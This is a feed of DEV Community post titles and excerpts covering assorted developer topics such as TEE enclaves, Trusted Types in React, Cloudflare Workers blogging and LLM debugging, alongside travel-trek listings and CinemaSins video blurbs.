    A deep dive into how we built Trinity Shield the Layer 8 hardware security that connects our Rust enclaves to Solidity smart contracts for vault and HTLC protection. Building Trinity Shield: Layer 8 Hardware Security How we connected Rust TEE enclaves to Solidity contracts In our previous post, we introduced Trinity Protocol's 2-of-3 consensus model. Today, we're diving deep into Trinity Shield - the Layer 8 hardware security component we just finished building. We evaluated existing options: Oasis ROFL Great, but too generic for our needs Phala Network Good TEE solution, but different trust model Cloud TEEs Vendor lock-in concerns Our requirements were specific: Lean proof integration Enclave code must match formally verified specs Multi-TEE support Intel SGX for speed, AMD SEV for quan…  ( 10 min )
    Weekly Coding Challenge #1 - Double slider Sign in/up Form - Desktop Only
    Check out this Pen I made!  ( 5 min )
    You Can Build Ideas on a Phone, But You Can’t Build Software There
    Phones can generate code instantly with AI, but they still can’t act as real development environments. Here’s what they can do, where they break down, and why the gap still exists. I was on the bus when a small idea hit me. Nothing huge. Just a tiny tool I wanted to write to help manage files. I pulled out my phone, opened ChatGPT, described the idea, and within seconds it generated a working prototype. So far, so good. I asked it to launch the canvas preview. Not possible on iPhone. Alright, fine. I’ll at least create a GitHub repo to save the idea before it slips away. Also not possible from the mobile app. And that’s when something clicked. My phone is faster than the laptop I had ten years ago. It can generate code instantly with AI. It can record 4K video, run advanced apps, handl…  ( 8 min )
    How I Discovered a Truly Accessible Image‑Generation Model (and Why You Should Try It Too)
    Hi there — I’m the Observer, a lifelong tinkerer with AI tools, creative workflows, and “what happens when advanced models meet real‑world constraints.” I’ve recently gotten my hands on a fascinating new foundation model and accompanying service, and I wanted to share my experience with the community at DEV Community (because yes, this audience will appreciate the nuances of engineering trade‑offs, creative workflows, and deployment realities). In this post I’ll walk you through: Why accessibility matters for image‑generation models What problems many large models still leave unsolved How the model behind this service tackles those problems My firsthand take, including pros and cons What you might try next — and where you can dive in When we think of generative image models, we often imagi…  ( 9 min )
    Best Software Options for Running a Photobooth at an Event
    When it comes to hosting an event with a photobooth, choosing the right software is just as important as the booth itself. The software will dictate how smooth the experience is for your guests, the quality of the photos, and the overall fun factor. Whether you are planning a wedding, a corporate event, or a party, the best photobooth software can elevate the experience and create lasting memories. In this guide, we will explore some of the top software options for running a photobooth at your event, with a focus on features like Photobooth Web online, virtual photo booth online free services, and innovative tools like photo booth 360 and mirror photo booth experiences. Look here for more information. Photobooth Web Software One of the most popular options for event planners is Photobooth …  ( 10 min )
    🔥 A Complete, In-Depth Guide to Trusted Types in React and Modern Web Apps
    Trusted Types in React: A Complete Engineering Guide to Preventing XSS Without Breaking Your App Trusted Types is one of the most powerful — yet misunderstood — additions to modern browser security. It addresses a problem every frontend engineer encounters eventually: how do we safely render untrusted HTML without opening the door to XSS? If you’ve ever used: dangerouslySetInnerHTML HTML sanitizers Script injection cleanup Rich text editors User-generated content Markdown → HTML pipelines Server-rendered CMS content you’ve already danced around this problem. This article is a deep-dive into how Trusted Types work, why they matter, and how to integrate them with React, Shadow DOM, and real-world production codebases — without rewriting your entire app. The real problem: "string-to-DOM" AP…  ( 9 min )
    Zombie Go Home - My Post-Halloween Game Jam Adventure
    Disclaimer I originally planned to publish this article on Halloween, but life got in the way 😅 Hey everyone! 👋 Since it was October, I thought: why not challenge myself and do a small personal Halloween themed game jam? 🎃 I don’t want to bore you with a long intro, so here’s the link to the game. https://smirnovw.itch.io/zombie-go-home If you end up liking it and want to know how it was made, you can always come back and read the full devlog. I picked the tools I’m comfortable with: Unity (2D) - core gameplay. The idea of the game was very simple: The twist is: the character has a limited number of steps, and once the player uses them, the game repeats those steps in the exact same order. I wasn’t too worried about the game logic thanks to Junie 😎 The style came together surprisin…  ( 10 min )
    Always Up, Never Chill: A Friendly Intro to Availability in Software
    Imagine your favorite coffee shop. Every time you show up, the doors are locked and there’s a sticky note saying “Back in 5 minutes” that’s clearly been there since the Stone Age. exists, the coffee machine is shiny, the barista is on payroll… but for you, that place has terrible availability. Software is the same: users don’t care how elegant the code is if the “doors” (APIs, UIs, services) are often closed, flaky, or too slow to be usable. Availability is the percentage of time a system is up, reachable, and doing its job correctly when users need it. Many definitions boil down to uptime over total time, often expressed as a percentage of how often a workload is “available for use” and performing its agreed function successfully. Availability: “Is it there and responding?” Reliability: “…  ( 10 min )
    Transition Playground
    Check out this Pen I made!  ( 5 min )
    I built a blogging platform on Cloudflare Workers. Here's how it went.
    I wanted to start a personal blog. WordPress felt like overkill. Ghost Cloud also felt too much, and I need a server for self-hosting. Medium doesn't let you own your content. Substack is for newsletters, not blogs. In the past, I had used static site generators. Particularly, I had a Jekyll blog. I just didn't want to go through the hassle of managing files every time I wanted to write a new post. So I built my own. JustBlogged runs entirely on Cloudflare Workers. No traditional servers. Here's why: Edge deployment = content served from 300+ locations worldwide Cold starts under 5ms No scaling headaches Cost is almost nothing at low traffic For storage, I'm using Cloudflare KV for metadata and caching and R2 for assets. Supporting custom domains and SSL was done by setting up one reverse proxy server, as Cloudflare for SaaS custom domains felt limited (you have to be an enterprise to use Apex domains). The blogging part was easy. The hard parts: Custom domains — DNS propagation, SSL certificate provisioning, handling edge cases where someone's domain has weird CNAME setups Image optimization — Auto-resizing, WebP conversion, lazy loading. Users upload 5MB images and expect fast pages Theme system — Making themes customizable without giving users enough rope to hang themselves Ensuring a built-in caching (and purge) mechanism so each page load is always less than 500ms. Rich-text editor can take time if you don't like the default setups Average page load: under 500ms mostly for cold hits and around 300ms for hot hits Setup time for new blog: ~2 minutes - just sign up, and start writing Infra cost per blog: basically zero until you hit serious traffic JustBlogged is live at justblogged.com. Free tier is actually free — no trial, no credit card. If you're a dev who wants a simple blog without the WordPress tax, give it a shot. Would love feedback on what's missing.  ( 7 min )
    Aviation
    Check out this Pen I made!  ( 5 min )
    Smart Invoice Analyzer — How I Automated Invoice Processing & Predicted Sales Using Machine Learning
    Modern businesses process thousands of invoices, but many still rely on manual entry. This slows down operations, introduces errors, and hides important sales trends. The Smart Invoice Analyzer solves these problems by automatically extracting invoice data, organizing it into meaningful structures, forecasting next month’s demand, and presenting insights through a clear, interactive dashboard. This article shows how the system improves business efficiency and walks through the workflow from invoice upload to final prediction. Faster and More Accurate Invoice Processing Clear Visibility Into Monthly Sales Trends Smarter Inventory and Procurement Planning Better Decision Making Across Departments Uploading Invoices Extracts the files Reads each invoice Identifies key fields Processes everyth…  ( 7 min )
    i-benchmarked-seven-backend-frameworks-and-it-changed-my-tech-stack-decisions
    About Hyperlane Framework Hyperlane is a lightweight, high-performance, cross-platform Rust HTTP server framework built on Tokio async runtime. Performance: 324,323 QPS (Keep-Alive on), 51,031 QPS (Keep-Alive off) | Unified API: HTTP, WebSocket, SSE share same interface | Flexible Routing: Static, dynamic, regex routes | Powerful Middleware: Request/response middleware, panic hooks | Real-time: Native WebSocket and SSE support | Cross-platform: Unified experience on Windows, Linux, macOS Quick start: git clone https://github.com/hyperlane-dev/hyperlane-quick-start.git Honestly, before I started this benchmark, I never imagined the performance differences would be this dramatic. As a backend developer with 10 years of experience, I always thought framework selection was mainly about featu…  ( 16 min )
    From the Brink to the Big League: Pakistan’s $5B Crisis to $19.6B Clout
    Think about having only $5 billion to run a 250 million people country. That was Pakistan in 2022 on thin ice. Now? $19.6 billion sitting pretty in reserves. How? They stepped off the political treadmill and got serious.​ The tired old cycle of shouting matches, flashy protests, and endless blame games almost sank the ship in 2022. Default loomed like a storm cloud. Fuel shortages, empty shelves, and desperation were the daily headlines. But by late 2025, the story flips. Reserves hit $19.6 billion, with the State Bank alone holding $14.56 billion. Commercial banks kicked in $5 billion more. No more begging every week. This cash means bread on the table, power in homes, and books in classrooms.​ What changed? Pakistan slashed imports, boosted exports by 7%, and watched its IT sector explod…  ( 7 min )
    📌 I built a code snippet manager because I kept losing my own code (MVP live)
    Over the last 18 days, I built something small called SnipRepo — a clean, fast way for developers to save, organize, search, and manage their code snippets. I didn’t plan to turn it into a product. It started because I was constantly running into the same problem: I’d write a useful piece of code… use it once… and then lose it forever inside old repos, random notes, or unsynced files. Eventually, the frustration piled up enough that I just built my own solution. This post isn’t a “launch announcement.” If you're a developer who deals with a lot of snippets, this might resonate with you. Here’s what the MVP includes today: Save snippets with title + description Tag system for quick organization Search by title, content, or tags Syntax highlighting Clean, minimal UI focused on speed Version history AI features (summaries / explanations) Embed snippet No snippet limit It’s intentionally simple — it solves the exact pain I had. I kept the stack lightweight so I could ship fast: React + Vite for the frontend Supabase for auth, database, RLS, and storage PostHog for event tracking TailwindCSS Syntax highlighting via Prism Everything is modular and easily replaceable. Building tiny tools is underrated You don’t need a big idea — just a painful problem, even if it’s your own. Clean UX beats heavy features Developers don’t want complexity. They want speed, clarity, and control. Launching is scarier than building Shipping publicly feels 10× scarier than writing code. But feedback > perfection. Free tiers matter a lot A simple usage limit gave me: cleaner UX easier onboarding better conversion path 📸 Screenshots 🙋‍♂️ If you’ve built something similar… I’d love to hear your experience If you’ve built a snippet tool, devtool, or productivity tool, drop a link — I genuinely love reading other builders’ stories. You can try SnipRepo here: https://sniprepo.com  ( 8 min )
    Building MindCareAI Backend: How I Used Xano AI to Create a Production-Ready Mental Health API in Minutes
    This is a submission for the Xano AI-Powered Backend Challenge: Full-Stack, AI-First Application I built MindCareAI - a production-ready full-stack mental health diagnosis platform that leverages AI-powered backend logic to provide users with instant mental health assessments and personalized recommendations. The application combines a React frontend with a robust Xano backend that processes complex diagnostic flows, manages user data securely, and integrates with AI models to deliver actionable mental health insights. The problem? Mental health support is crucial, but accessing quality diagnostics is often expensive, time-consuming, and inaccessible to many. MindCareAI solves this by providing instant, evidence-based mental health assessments that users can access anytime, from anywhere. …  ( 8 min )
    It is my pleasure to say big Congrats to you on your successful career in IT. It is my inordinate desire to move to the top of the IT world what will be your advice to me. I am interested in software engineering. Thanks for your anticipated response.
    A post by Monday Nwakpu  ( 6 min )
    Monolith vs Microservices: Making the Right Architectural Choice in 2025 🧱
    Software architecture decisions are long-term investments — they shape the development culture, deployment strategy, and scalability of a product. Should we build a Monolith or Microservices-based system? As a Full Stack Engineer specializing in React.js, Node.js, AWS, Cypress, and distributed systems, I’ve seen multiple teams struggle with migration complexity — not because microservices are bad, but because they were adopted before they were needed. This article breaks down the difference, strengths, weaknesses, and how to choose the right architecture for your product lifecycle. A Monolith is a single codebase containing all modules: client -> API Layer -> Business Logic -> Database ✅ Advantages of Monoliths Fast development & deployment Straightforward debugging and logging Shared …  ( 8 min )
    MyFluiditi – Expert Offshore Developer Teams for Fast Scaling
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    The Sunk Cost Fallacy in Software: How to Recognize It and What to Do About It
    What is The Sunk Cost Fallacy? The sunk cost fallacy is our tendency to follow through with something that we've already invested heavily in (be it time, money, effort, or emotional energy), even when giving up is clearly a better idea. An everyday example: imagine you buy a $20 movie ticket, and halfway through the movie you realize you're not enjoying it. The rational choice would be to leave and use your time more enjoyably - but many people stay just to "get their money's worth." We've all most likely been there, we made a decision that made sense at the time, sometimes because of external reasons. I bet at least some of these quotes will sound familiar We need to move fast, no time for tests / documentation / design We don't have capacity to learn to use X for this new use case, l…  ( 11 min )
    Getting Started with Nop: Minimalistic Data Access Layer Development
    The Nop platform’s data access layer uses the NopORM engine, which is equivalent to JPA + MyBatis + SpringData, and comes with commonly used business features such as multi-tenancy, logical deletion, dynamic extension fields, and field encryption. The NopGraphQL service framework automatically recognizes ORM entity objects and uses the ORM engine to implement batch loading of associated properties. The standard development approach on the Nop platform is to design the data model first and then generate Java entity code based on the model; however, this is only a way to simplify development. NopORM supports dynamic data models, so we can skip the code generation step and manually write data model files to build the data access layer. Tutorial video: https://www.bilibili.com/video/BV1yC4y1r7…  ( 9 min )
    Getting Started with Nop: Minimalist Service Layer Development
    The backend services of the Nop platform are implemented using the NopGraphQL engine. Compared to traditional web frameworks like SpringMVC, its design is more concise and general, containing only mathematically minimal assumptions. Through an automatic reasoning mechanism akin to mathematics, it achieves a level of composability and reusability that SpringMVC cannot reach. For the implementation principles of the NopGraphQL engine, see: Why is GraphQL strictly superior to REST in the mathematical sense? Tutorial video: https://www.bilibili.com/video/BV1EC4y1k7s2/ The following describes how to integrate the Spring framework and implement the simplest backend service function. Typically, you can set the parent of the pom file to the nop-entropy module to automatically inherit the default …  ( 9 min )
    Building a Game Review API with Strapi: A Step-by-Step Beginner’s Guide
    If you’ve ever worked with WordPress or any traditional CMS, you probably noticed that both the frontend and backend are tightly connected. That’s great for simple setups — until you want full control over how your frontend looks and behaves. Then it becomes a pain because you have to work around WordPress themes, plugins, and templating systems. That’s where a headless CMS comes in. Headless means we’ve removed the “head” — the frontend — and kept just the backend (the content management part). We still have the backend part of the CMS i.e the admin panel where we can add content so we can easily create things like blogs, articles, or some other content but it’s entirely up to you as a developer how you'll consume that content and what type of frontend that’s going to display your conten…  ( 11 min )
    abstractions in memory system for agents
    when you are building a memory system for your agents you will likely go through following abstractions during development. these abstractions have been listed in the order of manual instrumentation required, and go from definitive action to more and more probabilistic action. few definitions to make sure we are on the same page: memory: any peace of data that is passed either to an agent or a model or to the user memory system: data storage, could be any combination of sql, nosql, blob storage agents: a catch-all term for agents, workflows, and single api call why would we even want to build such a system? when operating on a small scale you can keep shovelling entire corpus for a model to chew upon. think applications such as 'chat with pdf', or data analytics over a si…  ( 7 min )
    WE'RE LIVE ON PRODUCT HUNT
    WE'RE LIVE ON PRODUCT HUNT Awesome Directories: 300+ curated launch directories for indie hackers → Free forever 🔗 Link below https://www.producthunt.com/products/awesome-directories If you've ever wasted time researching "best startup directories," this might save you 20 hours That's it. That's the pitch. I'm responding to EVERY comment on PH today Ask me anything: Tech stack Why I built this Why it's free What I learned building in public I'll answer everything. 3-week journey: Week 1: Built MVP Building in public with zero audience was humbling. But here we are. How you can help: That's it. No gimmicks. No "I'll upvote yours if you upvote mine" BS. Just: does this help you or not? I'll be here all day Responding. Let's goooo 🚀 buildinpublic  ( 6 min )
    The Tiny Engineering Challenge: Why Smartwatch Firmware Failures Are a Data Recovery Nightmare
    The Tiny Engineering Challenge: Why Smartwatch Firmware Failures Are a Data Recovery Nightmare For a developer, this tiny hardware represents a massive challenge: What happens to user data when the firmware fails, or the main board dies? Unlike a phone or laptop where storage chips are relatively accessible, smartwatch components are often soldered directly onto layers of flexible circuits. This makes data retrieval—and even simple repair—a true engineering puzzle. Section 1: The Firmware-Hardware Death Spiral Corrupted Storage: Continuous sensor data logging (heart rate, steps, sleep) constantly writes data to the tiny internal storage. If the watch runs out of power abruptly or if a minor voltage fluctuation occurs, the firmware can corrupt the boot sector or the health data partition. T…  ( 7 min )
    Web Developer Travis McCracken on The Simplicity of Net/HTTP in Go
    Exploring Backend Development with Rust and Go: Insights from Web Developer Travis McCracken Hi, I’m Travis McCracken—your friendly Web Developer passionate about building efficient, scalable, and reliable backend systems. Today, I want to share my experiences working with two powerhouse languages in backend development: Rust and Go. Over the years, I’ve delved into both, creating projects, solving tricky problems, and optimizing APIs that power modern applications. Whether you’re just starting out or looking to deepen your understanding, I hope my insights give you a clearer picture of how Rust and Go can elevate your backend work. Backend development forms the backbone of almost every web application. It's where data processing, business logic, and API orchestration happen behind the sce…  ( 8 min )
    Comparison of Web Worker, SharedWorker, and Service Worke
    Quick mental model Web Worker (DedicatedWorker): Background thread for one page. No UI, no DOM. Best for CPU-heavy tasks off the main thread. SharedWorker: Background thread shared by multiple tabs/windows of the same origin. Great for centralized state or shared resources (e.g., one WebSocket). Service Worker: Event-driven background proxy between your app and network. Can intercept fetch, cache, work offline, receive push, do background sync. Not for long-running compute loops. When to use which Use Web Worker when a single page needs heavy compute or streaming processing without freezing the UI. Use SharedWorker when multiple tabs need to coordinate or share a single connection/state. Use Service Worker when you need offline caching, request routing, push notifications, or background sy…  ( 9 min )
    404ping v2 — The API Testing CLI That Went From Side-Project to Beast Mode 💥
    curl + Postman + brain = 404ping When I built 404ping v0.0.1, it was a tiny experiment. That first version could only: Send simple HTTP requests Store a few variables Handle basic collections That’s it. 404ping v2 is here. And it’s not an upgrade… It’s a transformation. Lightweight API Testing CLI — curl with a brain 🧠 No GUI. No accounts. No cloud sync. npm install npm run build 404ping request https://api.example.com Feature curl Postman 404ping Lightweight CLI ✅ ❌ ✅ GUI Required ❌ ✅ ❌ Variables ❌ ✅ ✅ (global & scoped) Collections ❌ ✅ ✅ (CLI-based) Save & reuse requests ❌ ✅ ✅ TLS / SSL inspection ⚠️ ✅ ✅ Debug connection / TLS / timing ❌ ⚠️ ✅ Output modes ⚠️ ⚠️ 🔥 Secure by default ⚠️ ⚠️ 🔐 Smart Saved Requests Save requests with just one flag: 404ping requ…  ( 12 min )
    The Great Retraining
    In the sprawling industrial heartlands of the American Midwest, factory floors that once hummed with human activity now echo with the whir of automated systems. But this isn't the familiar story of blue-collar displacement we've heard before. Today's artificial intelligence revolution is reaching into boardrooms, creative studios, and consulting firms—disrupting white-collar work at an unprecedented scale. As generative AI transforms entire industries, creating new roles whilst eliminating others, society faces a crucial question: how do we ensure that everyone gets a fair chance at the jobs of tomorrow? The answer may determine whether we build a more equitable future or deepen the divides that already fracture our communities. The automation wave sweeping through the global economy bears…  ( 25 min )
    Qeltrix: One Vision, Multiple Proofs-of-Concept
    Understanding V1–V5 as Chapters, Not Separate Tools Posted by Muhammed Shafin P (HejHdiss) | Qeltrix Project Lead There's a common misconception I need to address: Qeltrix V1 through V5 aren't five different tools. They're five incremental proofs-of-concept demonstrating different aspects of a single, unified cryptographic archiving system. When people see "V1, V2, V3, V4, V5," they naturally assume these are separate products or complete rewrites. They're not. Each version is a proof-of-concept that validates one piece of Qeltrix's complete architecture—constrained by the realities of solo development, knowledge boundaries, and experimental implementation. Think of them as chapters in a book, not different books entirely. Qeltrix is a content-derived, cryptographically secure folder archi…  ( 11 min )
    Debugging LLM Failures: A Practical Guide
    Introduction Large Language Models (LLMs) power many applications, but they sometimes produce hallucinations, incorrect reasoning, or policy violations. Systematic debugging is essential to maintain reliability. Hallucinations – fabricated facts. Reasoning errors – broken logical chains. Tool misuse – incorrect function calls. Safety issues – policy violations. Tracing – capture prompts, responses, token usage, and tool calls. Structured logging – store full conversation, model parameters, and metadata. Real‑time alerts – monitor latency, error rates, and quality scores. Reproduce – collect failing examples and create minimal reproductions. Root‑cause analysis – inspect traces, context windows, and tool interactions. Fix – refine prompts, add guardrails, adjust model settings, or redesign the workflow. Validate – run regression and edge‑case tests, measure performance impact. By combining thorough observability with a disciplined debugging process, teams can quickly identify and resolve LLM failures, leading to more trustworthy AI systems.  ( 6 min )
    A Developer’s Daily Toolkit: Simple Online Utilities That Save Hours of Work
    🧰 A Developer’s Daily Toolkit: Simple Online Utilities That Save Hours of Work As developers, most of our time goes into fixing small issues, formatting code, converting files, and searching for tiny tools again and again. Recently I started using EasyTools.tech, a clean and fast website with a set of tools that actually reduce daily friction. 👉 Try it here: https://easytools.tech JavaScript Beautifier CSS Formatter HTML Previewer Regex Tester (super helpful for debugging patterns) JSON Validator CSV to JSON Converter Base64 Tools URL Escape / Unescape These save a LOT of time when working with APIs or parsing data. 3D Text Maker Color Palette Generator Image Compressor Word / Character Counter Lightweight and opens instantly — perfect for quick use. PDF Merge PDF Split PDF to Image / Image to PDF A good alternative to paid PDF apps. No ads No signup Clean UI Very fast tools Works smoothly on mobile and desktop It’s a nice all-in-one toolbox for developers, students and digital creators. If you prefer simple, distraction-free tools that work instantly, this collection is worth bookmarking. __  ( 6 min )
    My First Week Learning Python & Django — Notes From a Non-CS Beginner
    Hey everyone 👋 Got my first virtual environment working(.venv) Installed Django successfully Created my first project Created my first app Understood the Django project structure — what settings.py,urls.py, and manage.py actually do Connected URLs → views.py → HttpResponse Learned how HTTP requests & responses actually work Explored HTTP status codes (100–599) Created my first custom error page in Django Got verified on X and decided to share my dev journey publicly Small progress >>> no progress. project/urls.py is the master router Each app can have its own urls.py for modular routing The project routes traffic to the app using include() I learned how URL patterns can capture: path parameters like /blog/12/ query parameters like ?search=django regex patterns to validate or structure routes re_path(r'^article/(?P[0-9]+)/$', views.article) This was the moment I realised how flexible Django routing truly is. Django gives you structure and rules — and honestly, that feels good as a beginner. Build my first Django app from scratch Learn Git & GitHub properly Try a simple DevOps workflow (maybe Docker or CI/CD basics) Post daily progress on X + weekly logs here on DEV Stay consistent, not perfect If you're also learning — especially as a non-CS beginner — I’d love to connect.  ( 7 min )
    🔥 Postman lança o AI Agent Builder: Uma nova era para criar agentes conectados a APIs
    Postman acaba de lançar o AI Agent Builder, uma plataforma que conecta APIs e IA de forma nativa e reduz drasticamente o tempo entre ideia, protótipo e produção. O diferencial é a integração total: descoberta de APIs, ferramentas MCP, orquestração, testes e execução. É um ambiente completo para criar agentes realmente úteis — muito além de simples chatbots. Porque desenvolvedores agora podem transformar qualquer API em uma ferramenta plugável para IA, criando agentes com autonomia real e integração com sistemas existentes. Publicação completa aqui: 👉 LinkedIn – Postman AI Agent Builder  ( 6 min )
    Cracked(interactive)
    Check out this Pen I made!  ( 5 min )
    PayPal Smart Buttons in 2025 is the about:blank flash + never-closing popup finally dead?😞
    PayPal Checkout in 2025: Who Has Actually Fixed These Two Classic Issues? 😅😭🪦 Hey everyone, I’m building a clean, modern PayPal checkout and I’m down to the last two annoying (but very old) problems that still exist in 2025. I know I’m not the only one who’s seen these. The about:blank white flash When the user clicks the PayPal button → a blank popup opens with about:blank in the address bar → 1–4 seconds of pure white screen before PayPal loads. On desktop it looks broken and hurts conversions badly. The popup never closes automatically after payment Desktop → PayPal window stays open forever (user has to close it manually) Mobile → user is sent back to paypal.com and has to press Back themselves → most people get confused and abandon Custom window.open() with my own branded…  ( 14 min )
    Google's December 2025 Core Update Hit Your E-commerce Site: Here's What Actually Changed
    Your e-commerce rankings tanked sometime around December 12th. You're not alone—roughly 40% of online retailers saw significant position changes in the weeks following Google's latest core update rollout. But here's the thing: this wasn't just another algorithm tweak. The December 2025 update fundamentally shifted how Google evaluates product pages, category structures, and what it considers "helpful" content in commercial contexts. And if you're still following SEO advice from 2023, you're probably making things worse. I've spent the past three weeks analyzing ranking shifts across 200+ e-commerce sites (from Shopify stores doing $50K/month to enterprise retailers), and the patterns are clear. Some obvious, some surprising, all actionable. Google rolled this out during peak holiday shoppi…  ( 11 min )
    Crack in background as you scroll
    Check out this Pen I made!  ( 5 min )
    SourceFlow.Net
    A modern, lightweight, and extensible framework for building event-sourced applications using Domain-Driven Design (DDD) principles and Command Query Responsibility Segregation (CQRS) patterns. Introduction Core Concepts Architecture Overview Getting Started Framework Components Persistence with Entity Framework EntityFramework Usage Examples Implementation Guide Advanced Features Performance and Observability Best Practices FAQ SourceFlow.Net is a modern, lightweight, and extensible .NET framework designed for building scalable event-sourced applications using Domain-Driven Design (DDD) principles and Command Query Responsibility Segregation (CQRS) patterns. Built for .NET 8+ with performance and developer experience as core priorities. SourceFlow.Net provides a complete toolkit for event…  ( 33 min )
    🧬 SKI Combinator Calculus — Programming Without Variables, Assignments, or Functions
    What is SKI Calculus? SKI Combinator Calculus is one of the simplest formal models of computation. Instead of variables, functions, loops, or types, it uses just three symbols — S, K, and I — to represent all possible computation. It’s based on combinatory logic and serves as a foundation for functional programming languages, lambda calculus implementation, and theoretical models of computation. Despite its microscopic size, SKI calculus is fully Turing-complete. Language Type: Combinatory logic / theoretical computing model Symbols: S, K, I Invented: 1920s–1930s (Moses Schönfinkel, further developed by Haskell Curry) Execution Model: Expression reduction (rewrite rules) Paradigm: Pure functional without variables or state I x → x Where x, y, and z are expressions. That’s the e…  ( 7 min )
    Android Dev Hack: Windsurf > ChatGPT + Android Studio Switching
    Student developer here, been testing Windsurf on real Kotlin projects for a week. Ditched Firebase (was overcomplicating things). Now using Google Android tooling properly + Windsurf for AI assistance. ✓ Understands Kotlin idioms natively (not generic code suggestions) Old workflow: Android Studio → copy code → ChatGPT → implement → debug New workflow: Windsurf handles it in Android Studio directly Time saved? 30% faster shipping. Have you used Windsurf for Android/Kotlin development? Drop your experience below. Curious to know if anyone else found this workflow improvement. Quick Links: Windsurf: windsurf.com AndroidDevelopment #Kotlin #StudentDeveloper #IndieHacking #AITools #Windsurf  ( 6 min )
    🔐 Cryptol — The Language Designed Specifically for Cryptography and Security Proofs
    What is Cryptol? Cryptol is a domain-specific programming language created for designing, testing, and verifying cryptographic algorithms. Instead of writing encryption logic manually in C, Rust, or assembly, Cryptol allows developers to express cryptographic operations mathematically — then automatically generate fast and verified implementations. It’s used by government agencies, security researchers, and formal verification teams to ensure algorithms behave exactly as intended. Language Type: Cryptography-focused DSL Created By: Galois, Inc. First Release: ~2008 Execution Model: Interpreter + formal verification backends Paradigm: Functional, bit-vector and stream-oriented Typing: Strong static typing with fixed-width integers cipher : [32] -> [32] -> [32] cipher key block = ke…  ( 7 min )
    FOSS4G Auckland 2025
    Kia ora! Last week, we were in Auckland, New Zealand, for FOSS4G 2025. We had a great time and gave four talks about various topics from GTFS to GeoArrow. Thanks so much to the organizers for putting on such a fantastic conference, and to everyone who came to our presentations! For those who missed the talks, no worries——we share the slides in this post below. You can click the image to jump to the slides. As you know, the next global FOSS4G conference, FOSS4G 2026, will be held in Hiroshima, Japan (30 Aug - 5 Sep, 2026). We are looking forward to welcoming you, as part of the broader Japanese geospatial community!  ( 6 min )
    Terraform Project Structure Best Practices
    Hello People, In this blog we will deep dive into the Terraform Project Structure Best practices. Have you wondered that while we are running commands like terraform plan or apply we are not giving any parameters additional to that terraform commands, how does terraform know which file it should execute. So For this purpose, we will be using project structure in terraform where we will divide the code into multiple .tf files based on their usecases or creation. Terraform loads all .tf files in the current directory project-root/ ├── backend.tf # Backend configuration ├── provider.tf # Provider configurations ├── variables.tf # Input variable definitions ├── locals.tf # Local value definitions ├── main.tf # Main resource definitions ├── vpc.…  ( 8 min )
    Beas Kund Trek: A Stunning Adventure Through Kullu-Manali Valley
    The Beas Kund trek is where the wild heart of Manali opens into sweeping meadows, icy streams, and peaks that cut through the sky like ancient guardians. Standing before towering peaks and icy streams, Beas Manali becomes more than a destination; it’s the doorway to one of Himachal’s most loved treks. This package is designed for those who want the raw beauty of the Himalayas without complications, offering a crisp and scenic journey into glacial landscapes and alpine silence. Trekking from Manali 2 Nights and 3 Days ₹ 5,000 per person Inclusions 1. - Certified Leader 2. - High Quality Safety Equipment 3. - Trek at an Altitude of 12,772 Feet 4. - Accommodation: Alpine or Dome Tents with Quality Sleeping Bags 5. - Meals: Breakfast, Lunch, Snacks & Dinner (All Veg Meals) 6. - Permissions: A…  ( 7 min )
    Explore My GitHub Projects — Building, Learning & Shipping
    Hey Dev Community! 👋 I’ve been actively building and sharing projects on GitHub, and I wanted to highlight my work for anyone interested in exploring, collaborating, or giving feedback. 🔗 GitHub Profile: https://github.com/Huzaifa-io/ 💡 What You’ll Find There Here’s a quick snapshot of what I’ve been working on: 🧩 Open-source projects From automation tools to small utilities, I'm constantly experimenting and building solutions that solve real problems. 📚 Learning-focused repos I document my learning journey through structured notes, code experiments, and mini-projects that help me deepen my skills. ⚙️ Clean, documented code I try to keep my repositories beginner-friendly, readable, and well-organized—perfect for people who want to learn or contribute. 🤝 Open to Collaboration If you want to contribute, open an issue, start a discussion, or drop a PR—I'd love to connect and build something together! ⭐ If you like my work… Feel free to star, fork, or follow my GitHub to stay updated. Thanks for reading! Let me know what you think—or share your GitHub link below so I can check out your work too!  ( 6 min )
    Kashmir Trek: In-Depth Information on Routes & Difficulty
    The allure of a Kashmir trek lies in its shifting landscapes, meadows that glow like velvet, lakes clearer than glass, and mountain ridges that seem to touch the sky. Those choosing from Kashmir trekking packages often wonder what the trail actually feels like, and the answer lies in its constantly shifting terrain. Meadows melt into pine forests, glaciers rise into the skyline, and every day introduces a new mood of the mountains. Route Overview (Simplified & Reader-Friendly) Kashmir Great Lakes forms the heart of the journey — a trail where every pass opens into a fresh blue mirror of water, each lake carrying a story of silence and altitude. The Kashmir Great Lakes weather plays a major role in how demanding this trek feels. Summers are pleasant with green valleys and clear water reflections, while the early snow season can make the trail colder, harsher and more challenging at high passes. Kashmir Great Lakes Trek itinerary, you’ll notice that the journey stretches over 6 Nights & 7 Days, covering a total of 68 KM through meadows, glaciers, lakes and steep passes. The Kashmir Great Lakes trail is not just a trek, it’s a shifting canvas of lakes, meadows, snow ridges and endless silence. Knowing the route, weather patterns, altitude and duration beforehand helps you walk it with confidence rather than struggle. With the right planning, stamina and timing, this becomes one of those rare journeys that rewards effort with beauty far greater than expected.  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins rolls out a rapid-fire romp through the movie “KPop Demon Hunters,” tallying up every plot hiccup and cringe-worthy moment in just 16 minutes. They’re also shouting out their main site, YouTube channels, a fun poll, and a Patreon link to keep the sin engine running. The credits list Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel (with all their social handles), plus invites to join the community on Discord, Reddit, Instagram, TikTok—and even snag Jeremy’s book for extra sinspiration. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less is CinemaSins’ latest “sins” video, playfully declaring the new Fantastic Four film “sintastic” without calling it a total disaster. They kick things off with a plug for BetterHelp therapy (and a discount link) before diving into their trademark nitpicking. Beyond the video itself, CinemaSins wants you to explore their world—visit cinemasins.com, hit up their YouTube channels (@TVSins, @commercialsins, @CinemaSinsPodcastNetwork), fill out a quick poll, and maybe throw some support their way on Patreon. You’ll also find links to Discord, Reddit, Instagram, TikTok and a shout-out to Jeremy’s book, plus writers’ social handles if you fancy a follow. Watch on YouTube  ( 6 min )
    Brand Refresh to Revenue: Using SEO-Driven Graphic Design for Growth
